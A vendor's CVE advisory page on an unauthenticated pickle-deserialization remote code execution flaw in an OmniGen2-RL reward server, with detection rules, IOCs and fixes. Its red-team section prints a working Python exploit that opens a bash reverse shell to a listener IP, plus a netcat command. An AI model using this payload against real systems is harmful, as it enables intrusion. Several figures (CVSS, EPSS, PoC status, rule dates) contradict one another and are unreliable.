☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2026-25873

CVE-2026-25873 Remote Code Execution in Omnigen2-rl
📅 PUBLISHED: 2026-03-18 20:47 UTC 🔄 UPDATED: 2026-08-18 18:54 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.08%
👁️
1.08% probability
26.9× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-25873 is a critical unauthenticated remote code execution (RCE) vulnerability in the OmniGen2-RL reward server component. The flaw stems from insecure deserialization of Python pickle data within HTTP POST requests, allowing an attacker to execute arbitrary commands on the host system without authentication. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the lack of authentication required and the potential for full system compromise. No patch is currently available, and no public proof-of-concept (PoC) has been released. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains high for exposed instances.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

OmniGen2-RL is a Python-based reinforcement learning framework. The vulnerability exists in its reward server component, which likely uses the pickle module for deserialization. This is a known insecure practice, as pickle can execute arbitrary code during deserialization. Organizations using OmniGen2-RL should immediately assess their exposure and restrict network access to the reward server.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Exploit does not affect other components.
  • Confidentiality (C): High (H) – Full data access possible.
  • Integrity (I): High (H) – Full system modification possible.
  • Availability (A): High (H) – Full system disruption possible.

Threat Level: Critical. The combination of network exploitability, no authentication, and full impact makes this a top-priority vulnerability.

Deep Dive & Mechanics

The vulnerability resides in the reward server component of OmniGen2-RL. This server listens for HTTP POST requests containing serialized reward data. The server uses Python's pickle.loads() function to deserialize the request body without any validation or sanitization.

Python's pickle protocol is inherently unsafe when used with untrusted data. A malicious pickle payload can contain __reduce__ methods that execute arbitrary code during deserialization. An attacker can craft a pickle payload that, when deserialized, executes system commands (e.g., via os.system or subprocess).

The attack flow:

  1. Attacker identifies an exposed OmniGen2-RL reward server (e.g., via Shodan).
  2. Attacker crafts a malicious pickle payload that executes a reverse shell or other command.
  3. Attacker sends an HTTP POST request to the reward server endpoint with the malicious pickle data.
  4. The server deserializes the payload, triggering code execution.
  5. The attacker gains control of the host system.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import pickle
from http.server import BaseHTTPRequestHandler, HTTPServer

class RewardHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        body = self.rfile.read(content_length)
        # INSECURE: Deserializes untrusted data
        reward_data = pickle.loads(body)
        # Process reward_data...
        self.send_response(200)
        self.end_headers()

Patched Code (Conceptual):

import json
from http.server import BaseHTTPRequestHandler, HTTPServer

class RewardHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        body = self.rfile.read(content_length)
        # SECURE: Use JSON instead of pickle
        try:
            reward_data = json.loads(body)
        except json.JSONDecodeError:
            self.send_response(400)
            self.end_headers()
            return
        # Process reward_data...
        self.send_response(200)
        self.end_headers()

The patched version replaces pickle.loads() with json.loads(), which is safe against code execution attacks. Additionally, input validation and authentication should be added.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Setup:

  1. Deploy a vulnerable OmniGen2-RL instance (e.g., using Docker with an exposed reward server port).
  2. Ensure the reward server is accessible from the attacker machine.

Exploit Code (Python):

import pickle
import os
import requests

class Exploit:
    def __reduce__(self):
        # Execute a reverse shell (replace with your listener IP/port)
        cmd = "bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"
        return (os.system, (cmd,))

payload = pickle.dumps(Exploit())
target_url = "http://target:8080/reward"

# Send malicious POST request
response = requests.post(target_url, data=payload)
print(f"Status: {response.status_code}")

Execution Steps:

  1. Start a netcat listener: nc -lvnp 4444
  2. Run the exploit script.
  3. Receive reverse shell on the listener.

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor for HTTP POST requests to the reward server endpoint with unusually large or binary payloads.
  2. Inspect network traffic for pickle protocol markers (e.g., \x80\x04 or \x80\x05 at the start of payloads).
  3. Enable logging of deserialization operations and alert on pickle usage.
  4. Use runtime application self-protection (RASP) to block pickle deserialization.

Mitigation:

  • Immediately restrict network access to the reward server (firewall rules).
  • If possible, disable the reward server until a patch is available.
  • Implement authentication for the reward server endpoint.
  • Replace pickle with a safe serialization format (e.g., JSON, MessagePack).

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /reward or similar endpoints with binary payloads starting with \x80\x04 or \x80\x05.
    • Outbound connections from the server to unknown IPs on common reverse shell ports (4444, 1337, etc.).
  • File IOCs:
    • Unexpected files in /tmp/ or /dev/shm/ (e.g., exploit.py, shell.sh).
    • Modified system binaries or scripts.
  • Process IOCs:
    • Unusual child processes spawned by the Python process (e.g., bash, nc, python).
    • Processes listening on unexpected ports.
  • Log IOCs:
    • Error logs containing pickle.UnpicklingError or similar.
    • Access logs showing POST requests with large body sizes.

Detection Engineering

YARA Rule

rule CVE_2026_25873_Pickle_Exploit {
    meta:
        description = "Detects malicious pickle payloads targeting CVE-2026-25873"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-25873"
    strings:
        $pickle_magic = { 80 04 | 80 05 }
        $reduce_method = /__reduce__/
        $os_system = /os\.system/
        $subprocess = /subprocess\.(call|Popen)/
    condition:
        $pickle_magic at 0 and ($reduce_method or $os_system or $subprocess)
}

Sigma Rule

title: CVE-2026-25873 - OmniGen2-RL Pickle Deserialization RCE
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests with pickle payloads to OmniGen2-RL reward server
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/reward'
        sc-status: 200
    filter:
        cs-uri-query: '*json*'
    condition: selection and not filter
falsepositives:
    - Legitimate pickle usage (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-25873 - OmniGen2-RL Pickle Deserialization RCE"; flow:to_server; content:"POST"; http_method; content:"/reward"; http_uri; pcre:"/\x80\x04|\x80\x05/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the reward server: Use firewall rules to restrict access to trusted IPs only.
  2. Disable the reward server: If not critical, stop the service until a patch is available.
  3. Monitor for exploitation: Deploy the detection rules above and review logs.

Long-term Fixes:

  1. Replace pickle with JSON: Modify the reward server to use json.loads() instead of pickle.loads().
  2. Add authentication: Require API keys or tokens for POST requests.
  3. Input validation: Validate the structure and size of incoming data.
  4. Apply vendor patch: Once available, test and deploy the official patch.

Workaround:

  • Use a reverse proxy (e.g., Nginx) to inspect and block pickle payloads based on magic bytes.

Valters IT – DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-25873/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.